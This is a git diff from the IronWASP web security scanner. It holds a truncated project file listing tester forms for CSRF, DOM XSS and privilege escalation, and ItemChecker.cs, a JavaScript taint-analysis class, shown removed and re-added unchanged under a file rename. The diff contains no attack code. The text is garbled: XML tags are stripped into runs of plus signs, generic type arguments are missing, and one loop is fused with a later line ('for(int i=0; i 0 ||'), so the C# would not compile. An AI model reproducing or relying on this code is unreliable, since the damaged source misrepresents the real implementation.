1.0\bin\IronRuby.dll + + + C:\Program Files (x86)\IronRuby 1.0\bin\IronRuby.Libraries.dll + + + C:\Program Files (x86)\IronRuby 1.0\bin\IronRuby.Libraries.YAML.dll + + + ..\..\..\dotnet_libs\Jint-0.9.0-binary\Jint.dll + + + ..\..\jsbeautifylib\jsbeautifylib\bin\Release\jsbeautifylib.dll + + + C:\Program Files (x86)\IronRuby 1.0\bin\Microsoft.Dynamic.dll + + + C:\Program Files (x86)\IronRuby 1.0\bin\Microsoft.Scripting.dll + + + C:\Program Files (x86)\IronRuby 1.0\bin\Microsoft.Scripting.Core.dll + + + C:\Program Files (x86)\IronRuby 1.0\bin\Microsoft.Scripting.Debugging.dll + + + C:\Program Files (x86)\IronRuby 1.0\bin\Microsoft.Scripting.ExtensionAttribute.dll + + + False + ..\..\..\dotnet_libs\Json40r1\Bin\Net20\Newtonsoft.Json.Net20.dll + + + + + False + ..\..\..\dotnet_libs\SQLite-1.0.66.0\bin\System.Data.SQLite.DLL + + + + + + + + + + + Form + + + AboutForm.cs + + + + Form + + + ActivePluginCreationAssistant.cs + + + + + + + + + + + + + + + + + + + + + + + + + Form + + + AskUserWindow.cs + + + + + + + + + Form + + + CloseForm.cs + + + + UserControl + + + CodeTextBox.cs + + + + + + + Form + + + CreateNewRequestWizard.cs + + + Form + + + DocForBrokenAuthTester.cs + + + Form + + + DocForCsrfTester.cs + + + Form + + + DocForHiddenParameterGuesser.cs + + + Form + + + DocForLog.cs + + + Form + + + DocForNewUser.cs + + + Form + + + DocForPrivilegeEscalationTester.cs + + + + + Form + + + BrokenAuthTester.cs + + + Form + + + DomXssAnalyzer.cs + + + Form + + + HiddenParameterGuesser.cs + + + Form + + + PrivillegeEscalationTester.cs + + + Form + + + WebsocketMessageAnalyzer.cs + + + + + UserControl + + + DiffResultView.cs + + + + + + + + + + + + + + + + + Form + + + CsrfTester.cs + + + + + + + + + + + + + + Form + + + ImportCertForm.cs + + + Form + + + IronConsole.cs + + + + + + Form + + + DiffWindow.cs + + + + Form + + + EncodeDecodeWindow.cs + + + + + + + Form + + + ImportForm.cs + + + + + + + + + Form + + + Recorder.cs + + + + + + + + + + + Form + + + LoadForm.cs + + + Form + + + LoadInitialConfigurationForm.cs + + + Form + + + LogAnalyzerAndTester.cs + + + + + Form + + + LogTraceViewer.cs + + + + UserControl + + + ModRequestView.cs + + + Form + + + ModuleCreationAssistant.cs + + + Form + + + PassivePluginCreationAssistant.cs + + + + + Form + + + RecordingLoader.cs + + + + Form + + + ReportGenerationWizard.cs + + + + + + + Form + + + ScreenshotForm.cs + + + UserControl + + + RequestView.cs + + + UserControl + + + ResponseView.cs + + + + Form + + + ScanSelectedWizard.cs + + + Form + + + ScanTraceBehaviourAnalysis.cs + + + Form + + + ScriptCreationAssistant.cs + + + + UserControl + + + SearchableTextBox.cs + + + Form + + + LogsTester.cs + + + Form + + + SessionsDiffer.cs + + + UserControl + + + SessionView.cs + + + + + UserControl + + + TextBoxPlus.cs + + + UserControl + + + Form + + + Form + + + ModUiDesigner.cs + + + + + Form + + + ModuleStartPromptForm.cs + + + Form + + + NameTestGroupWizard.cs + + + + Form + + + PluginEditor.cs + + + + + + + Form + + + ScanBranchWizard.cs + + + Form + + + SessionPluginCreationAssistant.cs + + + + + + + + + + + + + + Form + + + Main.cs + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Form + + + StartScanJobWizard.cs + + + Form + + + StartScanWizard.cs + + + + + + + + + Form + + + WaitForm.cs + + + + + Form + + + WorkflowScannerWindow.cs + + + AboutForm.cs + Designer + + + ActivePluginCreationAssistant.cs + Designer + + + AskUserWindow.cs + Designer + + + CloseForm.cs + Designer + + + CodeTextBox.cs + + + CreateNewRequestWizard.cs + + + DiffResultView.cs + + + DiffWindow.cs + Designer + + + DocForBrokenAuthTester.cs + + + DocForCsrfTester.cs + + + DocForHiddenParameterGuesser.cs + + + DocForLog.cs + + + DocForNewUser.cs + + + DocForPrivilegeEscalationTester.cs + + + EncodeDecodeWindow.cs + Designer + + + BrokenAuthTester.cs + + + CsrfTester.cs + + + DomXssAnalyzer.cs + + + HiddenParameterGuesser.cs + + + PrivillegeEscalationTester.cs + + + WebsocketMessageAnalyzer.cs + + + ImportCertForm.cs + + + ImportForm.cs + Designer + + + IronConsole.cs + + + ModUi.cs + + + Recorder.cs + + + LoadForm.cs + Designer + + + LoadInitialConfigurationForm.cs + + + LogAnalyzerAndTester.cs + + + LogTraceViewer.cs + + + Main.cs + Designer + + + ModRequestView.cs + + + ModuleCreationAssistant.cs + + + PassivePluginCreationAssistant.cs + + + RecordingLoader.cs + + + ReportGenerationWizard.cs + + + ScreenshotForm.cs + + + RequestView.cs + + + WorkflowScannerWindow.cs + + + + ResponseView.cs + + + ScanSelectedWizard.cs + Designer + + + ScanTraceBehaviourAnalysis.cs + + + ScriptCreationAssistant.cs + + + SearchableTextBox.cs + + + LogsTester.cs + + + SessionsDiffer.cs + + + SessionView.cs + + + TextBoxPlus.cs + + + ModUiDesigner.cs + + + ModuleStartPromptForm.cs + + + NameTestGroupWizard.cs + + + PluginEditor.cs + Designer + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + ScanBranchWizard.cs + Designer + + + SessionPluginCreationAssistant.cs + + + StartScanJobWizard.cs + + + StartScanWizard.cs + + + WaitForm.cs + Designer + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + + + + False + .NET Framework 3.5 SP1 Client Profile + false + + + False + .NET Framework 3.5 SP1 + true + + + False + Windows Installer 3.1 + true + + + + + + \ No newline at end of file diff --git a/Iron/IronWASP.csproj.user b/Iron/IronWASP.csproj.user new file mode 100644 index 0000000..1818298 --- /dev/null +++ b/Iron/IronWASP.csproj.user @@ -0,0 +1,13 @@ + + + + publish\ + + + + + + en-US + false + + \ No newline at end of file diff --git a/IronWASP/ItemChecker.cs b/Iron/ItemChecker.cs similarity index 98% rename from IronWASP/ItemChecker.cs rename to Iron/ItemChecker.cs index 9c5f8f2..ad9b0fd 100644 --- a/IronWASP/ItemChecker.cs +++ b/Iron/ItemChecker.cs @@ -1,684 +1,684 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Windows.Forms; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - internal class ItemChecker - { - IronJint IJ = new IronJint(); - - internal ItemChecker(IronJint IJ) - { - this.IJ = IJ; - } - - internal TaintResult Check(List Item) - { - TaintResult Result = new TaintResult(); - if (IJ.IsTimedOut()) return Result; - - List> ItemParts = GetItemParts(Item); - - foreach (List Part in ItemParts) - { - Result.Add(IsTainted(Part)); - //When tracing keyword if keyword is inside string value even then it should be treated as a source - if (IJ.TraceKeyword) - { - foreach (JintItem PartItem in Part) - { - if ((PartItem.State == JintState.StringValue || PartItem.State == JintState.IntValue) && PartItem.Value.IndexOf(IJ.KeywordToTrace, StringComparison.OrdinalIgnoreCase) > -1) - Result.SourceReasons.Add("Matches with Keyword being traced"); - } - } - } - return Result; - } - - TaintResult IsTainted(List Item) - { - TaintResult Result = new TaintResult(); - if (IJ.IsTimedOut()) return Result; - - //Check if Item matches any of the SourceObjects - foreach (List SourceItem in IJ.SourceObjects) - { - TaintResult SourceTaintResult = IsMatch(Item, SourceItem); - if(SourceTaintResult.NeutralReasons.Count > 0) Result.AddAsSource(SourceItem, "Matches SourceObject - " + GetItemAsString(SourceItem)); - } - - - //Check if Item matches any of the SinkObjects - foreach (List SinkItem in IJ.SinkObjects) - { - TaintResult SinkTaintResult = IsMatch(Item, SinkItem); - if (SinkTaintResult.NeutralReasons.Count > 0) Result.AddAsSink(SinkItem, "Matches SinkObject - " + GetItemAsString(SinkItem)); - } - - //Check if Item is a method call, then method call related checks can be made - List Arguments = GetLastMethodArguments(Item); - if (Arguments.Count > 0) - { - //Item is a method. - //Check if Item matches any SourceReturningMethods - foreach (List SourceItem in IJ.SourceReturningMethods) - { - TaintResult SourceTaintResult = IsMatch(Item, SourceItem); - if (SourceTaintResult.NeutralReasons.Count > 0) Result.AddAsSource(SourceItem, "Matches Source Returning Method - " + GetItemAsString(SourceItem)); - } - //Check if Item matches any SinkReturningMethods - foreach (List SinkItem in IJ.SinkReturningMethods) - { - TaintResult SinkTaintResult = IsMatch(Item, SinkItem); - if (SinkTaintResult.NeutralReasons.Count > 0) Result.AddAsSink(SinkItem, "Matches Sink Returning Method - " + GetItemAsString(SinkItem)); - } - - //Now to check with ArgumentReturningMethods - //First check if any of the arguments of Item are Sources or Sinks - List SourceTaintedArgumentPositions = new List(); - List SinkTaintedArgumentPositions = new List(); - for(int i=0; i 0 || SinkTaintedArgumentPositions.Count > 0) - { - foreach (List MethodItem in IJ.ArgumentReturningMethods) - { - TaintResult MethodReturnResult = DoItemsMatch(Item, MethodItem); - //If Item matches any ArgumentReturningMethod item check if the TaintPointer position matches the source or sink argument posistions in Item - if (MethodReturnResult.NeutralReasons.Count > 0) - { - List TemplateArguments = GetLastMethodArguments(MethodItem); - if (TemplateArguments.Count == Arguments.Count) - { - for (int j = 0; j < TemplateArguments.Count; j++) - { - if (TemplateArguments[j].SubItems.Count == 1) - { - if (TemplateArguments[j].SubItems[0].State == JintState.MethodCallArgumentTaintPointer) - { - if (SourceTaintedArgumentPositions.Contains(j)) - Result.AddAsSource(MethodItem, "Method - " + GetItemAsString(MethodItem) + " - returns a Source passed in at argument position " + (j + 1).ToString()); - if (SinkTaintedArgumentPositions.Contains(j)) - Result.AddAsSink(MethodItem, "Method - " + GetItemAsString(MethodItem) + " - returns a Sink passed in at argument position " + (j + 1).ToString()); - } - } - } - } - } - } - } - } - - int LineNo = 0; - if (Item.Count > 0) LineNo = Item[0].LineNo; - if (LineNo == 0) LineNo = IJ.CurrentLineNo; - if (IronJint.SourceLinesToIgnore.Contains(LineNo)) Result.SourceReasons.Clear(); - if (IronJint.SourceLinesToInclude.Contains(LineNo)) Result.SourceReasons.Add("Source set by User"); - if (IronJint.SinkLinesToIgnore.Contains(LineNo)) Result.SinkReasons.Clear(); - if (IronJint.SinkLinesToInclude.Contains(LineNo)) Result.SinkReasons.Add("Sink set by User"); - - return Result; - } - - internal TaintResult IsMatch(List Item, List Template) - { - TaintResult Result = new TaintResult(); - if (IJ.IsTimedOut()) return Result; - - if (Item.Count == 0) return Result; - if (Template.Count == 0) return Result; - - if ((Item[0].State != JintState.Identifier) && (Item[0].State != JintState.MethodCallName)) - { - //MessageBox.Show("Item starts with - " + Item[0].State.ToString()); - return Result; - } - if ((Template[0].State != JintState.Identifier) && (Template[0].State != JintState.MethodCallName)) - { - //MessageBox.Show("Template starts with - " + Template[0].State.ToString()); - return Result; - } - - int ItemMatchIndex = 0; - - while (ItemMatchIndex < Item.Count) - { - switch (Template[0].State) - { - case (JintState.Identifier): - switch (Item[ItemMatchIndex].State) - { - case (JintState.Identifier): - case (JintState.Property): - case (JintState.StringIndex): - if (Item[ItemMatchIndex].Value.Equals(Template[0].Value)) - Result.Add(DoItemsMatch(Item.GetRange(ItemMatchIndex, Item.Count - ItemMatchIndex), Template)); - break; - case (JintState.IdentifierIndex): - case (JintState.Indexer): - string IndexValue = GetIndexStringValue(Item[ItemMatchIndex]); - if (IndexValue.Length > 0 && IndexValue.Equals(Template[0].Value)) - Result.Add(DoItemsMatch(Item.GetRange(ItemMatchIndex, Item.Count - ItemMatchIndex), Template)); - break; - } - break; - case (JintState.MethodCallName): - switch (Item[ItemMatchIndex].State) - { - case (JintState.MethodCallName): - case (JintState.StringIndex): - if (Item[ItemMatchIndex].Value.Equals(Template[0].Value)) - Result.Add(DoItemsMatch(Item.GetRange(ItemMatchIndex, Item.Count - ItemMatchIndex), Template)); - break; - case (JintState.IdentifierIndex): - case (JintState.Indexer): - string IndexValue = GetIndexStringValue(Item[ItemMatchIndex]); - if (IndexValue.Length > 0 && IndexValue.Equals(Template[0].Value)) - Result.Add(DoItemsMatch(Item.GetRange(ItemMatchIndex, Item.Count - ItemMatchIndex), Template)); - break; - } - break; - } - ItemMatchIndex++; - } - return Result; - } - - internal TaintResult DoItemsMatch(List Item, List Template) - { - return DoItemsMatch(Item, Template, true); - } - - internal TaintResult DoItemsMatch(List Item, List Template, bool MethodCall) - { - TaintResult Result = new TaintResult(); - if (IJ.IsTimedOut()) return Result; - int ItemMatchIndex = 0; - int TemplateMatchIndex = 0; - - bool MatchFailed = false; - while ((ItemMatchIndex < Item.Count) && (TemplateMatchIndex < Template.Count) && !MatchFailed) - { - switch (Template[TemplateMatchIndex].State) - { - case (JintState.Identifier): - switch (Item[ItemMatchIndex].State) - { - case (JintState.Identifier): - case (JintState.Property): - case (JintState.StringIndex): - if (Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - else - MatchFailed = true; - break; - case (JintState.IdentifierIndex): - case (JintState.Indexer): - string IndexValue = GetIndexStringValue(Item[ItemMatchIndex]); - if (IndexValue.Length > 0 && IndexValue.Equals(Template[TemplateMatchIndex].Value)) - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - else - MatchFailed = true; - break; - case (JintState.MethodCallName): - if (MethodCall) - MatchFailed = true; - else - { - if (Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - else - MatchFailed = true; - } - break; - default: - MatchFailed = true; - break; - } - break; - case (JintState.Property): - case (JintState.StringIndex): - switch (Item[ItemMatchIndex].State) - { - case (JintState.Property): - case (JintState.StringIndex): - if (Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - else - MatchFailed = true; - break; - case (JintState.IdentifierIndex): - case (JintState.Indexer): - string IndexValue = GetIndexStringValue(Item[ItemMatchIndex]); - if (IndexValue.Length > 0 && IndexValue.Equals(Template[TemplateMatchIndex].Value)) - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - else - MatchFailed = true; - break; - case (JintState.MethodCallName): - if (MethodCall) - { - if (Template.Count > TemplateMatchIndex + 1 && Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) - { - if (Template[TemplateMatchIndex + 1].State == JintState.MethodCallName && Template[TemplateMatchIndex + 1].Value.Length == 0) - { - TemplateMatchIndex++; - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - List ItemArguments = GetMethodArguments(Item.GetRange(ItemMatchIndex + 1, Item.Count - (ItemMatchIndex + 1))); - List TemplateArguments = GetMethodArguments(Template.GetRange(TemplateMatchIndex + 1, Template.Count - (TemplateMatchIndex + 1))); - ItemMatchIndex = ItemMatchIndex + ItemArguments.Count; - TemplateMatchIndex = TemplateMatchIndex + TemplateArguments.Count; - } - else - MatchFailed = true; - } - else - MatchFailed = true; - } - else - { - if (Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - else - MatchFailed = true; - } - break; - default: - MatchFailed = true; - break; - } - break; - case(JintState.IdentifierIndex): - string TemplateItemValue = GetIndexStringValue(Template[TemplateMatchIndex]); - switch (Item[ItemMatchIndex].State) - { - case (JintState.Property): - case (JintState.StringIndex): - if (Item[ItemMatchIndex].Value.Equals(TemplateItemValue)) - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - else - MatchFailed = true; - break; - case (JintState.IdentifierIndex): - string IndexValue = GetIndexStringValue(Item[ItemMatchIndex]); - if (Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - else if (IndexValue.Length > 0 && IndexValue.Equals(TemplateItemValue)) - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - else - MatchFailed = true; - break; - case (JintState.Indexer): - string IndexerValue = GetIndexStringValue(Item[ItemMatchIndex]); - if (IndexerValue.Length > 0 && IndexerValue.Equals(TemplateItemValue)) - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - else - MatchFailed = true; - break; - case (JintState.MethodCallName): - if (Template.Count > TemplateMatchIndex + 1 && Item[ItemMatchIndex].Value.Equals(TemplateItemValue)) - { - if (Template[TemplateMatchIndex + 1].State == JintState.MethodCallName && Template[TemplateMatchIndex + 1].Value.Length == 0) - { - TemplateMatchIndex++; - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - List ItemArguments = GetMethodArguments(Item.GetRange(ItemMatchIndex + 1, Item.Count - (ItemMatchIndex + 1))); - List TemplateArguments = GetMethodArguments(Template.GetRange(TemplateMatchIndex + 1, Template.Count - (TemplateMatchIndex + 1))); - ItemMatchIndex = ItemMatchIndex + ItemArguments.Count; - TemplateMatchIndex = TemplateMatchIndex + TemplateArguments.Count; - } - else - MatchFailed = true; - } - else - MatchFailed = true; - break; - default: - MatchFailed = true; - break; - } - break; - case (JintState.Indexer): - string TemplateIndexerValue = GetIndexStringValue(Template[TemplateMatchIndex]); - switch (Item[ItemMatchIndex].State) - { - case (JintState.StringIndex): - if (Item[ItemMatchIndex].Value.Equals(TemplateIndexerValue)) - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - else - MatchFailed = true; - break; - case (JintState.IdentifierIndex): - string IndexValue = GetIndexStringValue(Item[ItemMatchIndex]); - if (IndexValue.Length > 0 && IndexValue.Equals(TemplateIndexerValue)) - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - else - MatchFailed = true; - break; - case (JintState.Indexer): - string IndexerValue = GetIndexStringValue(Item[ItemMatchIndex]); - if (IsMatch(Item[ItemMatchIndex].SubItems, Template[TemplateMatchIndex].SubItems).NeutralReasons.Count > 0) - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - else if (IndexerValue.Length > 0 && IndexerValue.Equals(TemplateIndexerValue)) - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - else - MatchFailed = true; - break; - case (JintState.MethodCallName): - if (Template.Count > TemplateMatchIndex + 1 && Item[ItemMatchIndex].Value.Equals(TemplateIndexerValue)) - { - if (Template[TemplateMatchIndex + 1].State == JintState.MethodCallName && Template[TemplateMatchIndex + 1].Value.Length == 0) - { - TemplateMatchIndex++; - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - List ItemArguments = GetMethodArguments(Item.GetRange(ItemMatchIndex + 1, Item.Count - (ItemMatchIndex + 1))); - List TemplateArguments = GetMethodArguments(Template.GetRange(TemplateMatchIndex + 1, Template.Count - (TemplateMatchIndex + 1))); - ItemMatchIndex = ItemMatchIndex + ItemArguments.Count; - TemplateMatchIndex = TemplateMatchIndex + TemplateArguments.Count; - } - else - MatchFailed = true; - } - else - MatchFailed = true; - break; - default: - MatchFailed = true; - break; - } - break; - case (JintState.MethodCallName): - switch (Item[ItemMatchIndex].State) - { - case (JintState.MethodCallName): - if (MethodCall) - { - if (Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) - { - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - List ItemArguments = GetMethodArguments(Item.GetRange(ItemMatchIndex + 1, Item.Count - (ItemMatchIndex + 1))); - List TemplateArguments = GetMethodArguments(Template.GetRange(TemplateMatchIndex + 1, Template.Count - (TemplateMatchIndex + 1))); - ItemMatchIndex = ItemMatchIndex + ItemArguments.Count; - TemplateMatchIndex = TemplateMatchIndex + TemplateArguments.Count; - } - else - MatchFailed = true; - } - else - MatchFailed = true; - - break; - case (JintState.StringIndex): - if (Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) - { - if (Item.Count > ItemMatchIndex + 1) - { - if (Item[ItemMatchIndex + 1].State == JintState.MethodCallName && Item[ItemMatchIndex + 1].Value.Length == 0 && MethodCall) - { - ItemMatchIndex++; - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - List ItemArguments = GetMethodArguments(Item.GetRange(ItemMatchIndex + 1, Item.Count - (ItemMatchIndex + 1))); - List TemplateArguments = GetMethodArguments(Template.GetRange(TemplateMatchIndex + 1, Template.Count - (TemplateMatchIndex + 1))); - ItemMatchIndex = ItemMatchIndex + ItemArguments.Count; - TemplateMatchIndex = TemplateMatchIndex + TemplateArguments.Count; - } - else - MatchFailed = true; - } - else - { - if(MethodCall) MatchFailed = true; - } - } - else - MatchFailed = true; - break; - case (JintState.IdentifierIndex): - string IndexValue = GetIndexStringValue(Item[ItemMatchIndex]); - if (IndexValue.Length > 0 && IndexValue.Equals(Template[TemplateMatchIndex].Value)) - { - if (Item.Count > ItemMatchIndex + 1) - { - if (Item[ItemMatchIndex + 1].State == JintState.MethodCallName && Item[ItemMatchIndex + 1].Value.Length == 0 && MethodCall) - { - ItemMatchIndex++; - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - List ItemArguments = GetMethodArguments(Item.GetRange(ItemMatchIndex + 1, Item.Count - (ItemMatchIndex + 1))); - List TemplateArguments = GetMethodArguments(Template.GetRange(TemplateMatchIndex + 1, Template.Count - (TemplateMatchIndex + 1))); - ItemMatchIndex = ItemMatchIndex + ItemArguments.Count; - TemplateMatchIndex = TemplateMatchIndex + TemplateArguments.Count; - } - else - MatchFailed = true; - } - else - { - if(MethodCall) MatchFailed = true; - } - } - else - MatchFailed = true; - break; - case (JintState.Indexer): - string IndexerValue = GetIndexStringValue(Item[ItemMatchIndex]); - if (IndexerValue.Length > 0 && IndexerValue.Equals(Template[TemplateMatchIndex].Value)) - { - if (Item.Count > ItemMatchIndex + 1) - { - if (Item[ItemMatchIndex + 1].State == JintState.MethodCallName && Item[ItemMatchIndex + 1].Value.Length == 0 && MethodCall) - { - ItemMatchIndex++; - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - List ItemArguments = GetMethodArguments(Item.GetRange(ItemMatchIndex + 1, Item.Count - (ItemMatchIndex + 1))); - List TemplateArguments = GetMethodArguments(Template.GetRange(TemplateMatchIndex + 1, Template.Count - (TemplateMatchIndex + 1))); - ItemMatchIndex = ItemMatchIndex + ItemArguments.Count; - TemplateMatchIndex = TemplateMatchIndex + TemplateArguments.Count; - } - else - MatchFailed = true; - } - else - { - if(MethodCall) MatchFailed = true; - } - } - else - MatchFailed = true; - break; - case(JintState.Property): - if (!MethodCall && Item.Count == ItemMatchIndex + 1) - Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); - else - MatchFailed = true; - break; - default: - MatchFailed = true; - break; - } - break; - default: - MatchFailed = true; - break; - } - ItemMatchIndex++; - TemplateMatchIndex++; - } - if (TemplateMatchIndex != Template.Count) MatchFailed = true; - if (MatchFailed) - { - Result.NeutralReasons.Clear(); - Result.SourceReasons.Clear(); - Result.SinkReasons.Clear(); - Result.MethodNameReasons.Clear(); - Result.MethodArgumentSinkReasons.Clear(); - Result.MethodArgumentSourceReasons.Clear(); - Result.MethodArgumentNeutralReasons.Clear(); - Result.SourceToSinkReasons.Clear(); - } - return Result; - } - - string GetIndexStringValue(JintItem IndexItem) - { - string IndexValue = ""; - if (IJ.IsTimedOut()) return IndexValue; - switch(IndexItem.State) - { - case (JintState.IdentifierIndex): - IndexValue = IJ.GetStringObject(new List() { new JintItem(IndexItem.LineNo, IndexItem.CharNo, JintState.Identifier, IndexItem.Value) }); - break; - case (JintState.Indexer): - IndexValue = IJ.GetStringObject(IndexItem.SubItems); - break; - } - return IndexValue; - } - - List GetMethodArguments(List Item) - { - List Result = new List(); - if (IJ.IsTimedOut()) return Result; - int i=0; - while(i < Item.Count) - { - if (Item[i].State == JintState.MethodCallArgument) - Result.Add(Item[i]); - else - break; - i++; - } - return Result; - } - - internal List GetLastMethodArguments(List Item) - { - List Result = new List(); - if (IJ.IsTimedOut()) return Result; - int i = Item.Count - 1; - while (i >= 0) - { - if (Item[i].State == JintState.MethodCallArgument) - Result.Add(Item[i]); - else - break; - i--; - } - Result.Reverse(); - return Result; - } - - TaintResult IsMethodArgumentsMatch(List ItemArguments, List TemplateArguments) - { - TaintResult Result = new TaintResult(); - if (IJ.IsTimedOut()) return Result; - if (ItemArguments.Count != TemplateArguments.Count) return Result; - - for (int i = 0; i < ItemArguments.Count; i++) - { - if((ItemArguments[i].SubItems.Count > 0) && (TemplateArguments[i].SubItems.Count > 0)) - { - if (TemplateArguments[i].SubItems[0].State == JintState.MethodCallArgumentTaintPointer) - { - Result.Add(Check(ItemArguments[i].SubItems)); - } - } - } - - return Result; - } - - internal static List> GetItemParts(List Item) - { - List> Parts = new List>(); - List Part = new List(); - foreach (JintItem SubItem in Item) - { - if (SubItem.State == JintState.BinaryOperator) - { - if (Part.Count > 0) Parts.Add(new List(Part)); - Part.Clear(); - } - else - { - Part.Add(SubItem); - } - } - Parts.Add(new List(Part)); - return Parts; - } - - internal static bool IsSimilar(List First, List Second) - { - if (First.Count != Second.Count) return false; - for (int i = 0; i < First.Count; i++) - { - if (First[i].State != Second[i].State) return false; - if (First[i].Value != Second[i].Value) return false; - if (First[i].SubItems.Count != Second[i].SubItems.Count) - { - return false; - } - else - { - if (!IsSimilar(First[i].SubItems, Second[i].SubItems)) return false; - } - } - return true; - } - - internal static string GetItemAsString(List Item) - { - StringBuilder StringItem = new StringBuilder(); - foreach (JintItem ItemPart in Item) - { - switch(ItemPart.State) - { - case(JintState.Identifier): - case (JintState.StringValue): - StringItem.Append(ItemPart.Value); - break; - case (JintState.Property): - StringItem.Append(".");StringItem.Append(ItemPart.Value); - break; - case (JintState.StringIndex): - case (JintState.IntIndex): - case (JintState.IdentifierIndex): - StringItem.Append("[");StringItem.Append(ItemPart.Value);StringItem.Append("]"); - break; - case (JintState.Indexer): - StringItem.Append("["); GetItemAsString(ItemPart.SubItems); StringItem.Append("]"); - break; - case (JintState.MethodCallName): - StringItem.Append(ItemPart.Value);StringItem.Append("()"); - break; - } - } - return StringItem.ToString(); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + internal class ItemChecker + { + IronJint IJ = new IronJint(); + + internal ItemChecker(IronJint IJ) + { + this.IJ = IJ; + } + + internal TaintResult Check(List Item) + { + TaintResult Result = new TaintResult(); + if (IJ.IsTimedOut()) return Result; + + List> ItemParts = GetItemParts(Item); + + foreach (List Part in ItemParts) + { + Result.Add(IsTainted(Part)); + //When tracing keyword if keyword is inside string value even then it should be treated as a source + if (IJ.TraceKeyword) + { + foreach (JintItem PartItem in Part) + { + if ((PartItem.State == JintState.StringValue || PartItem.State == JintState.IntValue) && PartItem.Value.IndexOf(IJ.KeywordToTrace, StringComparison.OrdinalIgnoreCase) > -1) + Result.SourceReasons.Add("Matches with Keyword being traced"); + } + } + } + return Result; + } + + TaintResult IsTainted(List Item) + { + TaintResult Result = new TaintResult(); + if (IJ.IsTimedOut()) return Result; + + //Check if Item matches any of the SourceObjects + foreach (List SourceItem in IJ.SourceObjects) + { + TaintResult SourceTaintResult = IsMatch(Item, SourceItem); + if(SourceTaintResult.NeutralReasons.Count > 0) Result.AddAsSource(SourceItem, "Matches SourceObject - " + GetItemAsString(SourceItem)); + } + + + //Check if Item matches any of the SinkObjects + foreach (List SinkItem in IJ.SinkObjects) + { + TaintResult SinkTaintResult = IsMatch(Item, SinkItem); + if (SinkTaintResult.NeutralReasons.Count > 0) Result.AddAsSink(SinkItem, "Matches SinkObject - " + GetItemAsString(SinkItem)); + } + + //Check if Item is a method call, then method call related checks can be made + List Arguments = GetLastMethodArguments(Item); + if (Arguments.Count > 0) + { + //Item is a method. + //Check if Item matches any SourceReturningMethods + foreach (List SourceItem in IJ.SourceReturningMethods) + { + TaintResult SourceTaintResult = IsMatch(Item, SourceItem); + if (SourceTaintResult.NeutralReasons.Count > 0) Result.AddAsSource(SourceItem, "Matches Source Returning Method - " + GetItemAsString(SourceItem)); + } + //Check if Item matches any SinkReturningMethods + foreach (List SinkItem in IJ.SinkReturningMethods) + { + TaintResult SinkTaintResult = IsMatch(Item, SinkItem); + if (SinkTaintResult.NeutralReasons.Count > 0) Result.AddAsSink(SinkItem, "Matches Sink Returning Method - " + GetItemAsString(SinkItem)); + } + + //Now to check with ArgumentReturningMethods + //First check if any of the arguments of Item are Sources or Sinks + List SourceTaintedArgumentPositions = new List(); + List SinkTaintedArgumentPositions = new List(); + for(int i=0; i 0 || SinkTaintedArgumentPositions.Count > 0) + { + foreach (List MethodItem in IJ.ArgumentReturningMethods) + { + TaintResult MethodReturnResult = DoItemsMatch(Item, MethodItem); + //If Item matches any ArgumentReturningMethod item check if the TaintPointer position matches the source or sink argument posistions in Item + if (MethodReturnResult.NeutralReasons.Count > 0) + { + List TemplateArguments = GetLastMethodArguments(MethodItem); + if (TemplateArguments.Count == Arguments.Count) + { + for (int j = 0; j < TemplateArguments.Count; j++) + { + if (TemplateArguments[j].SubItems.Count == 1) + { + if 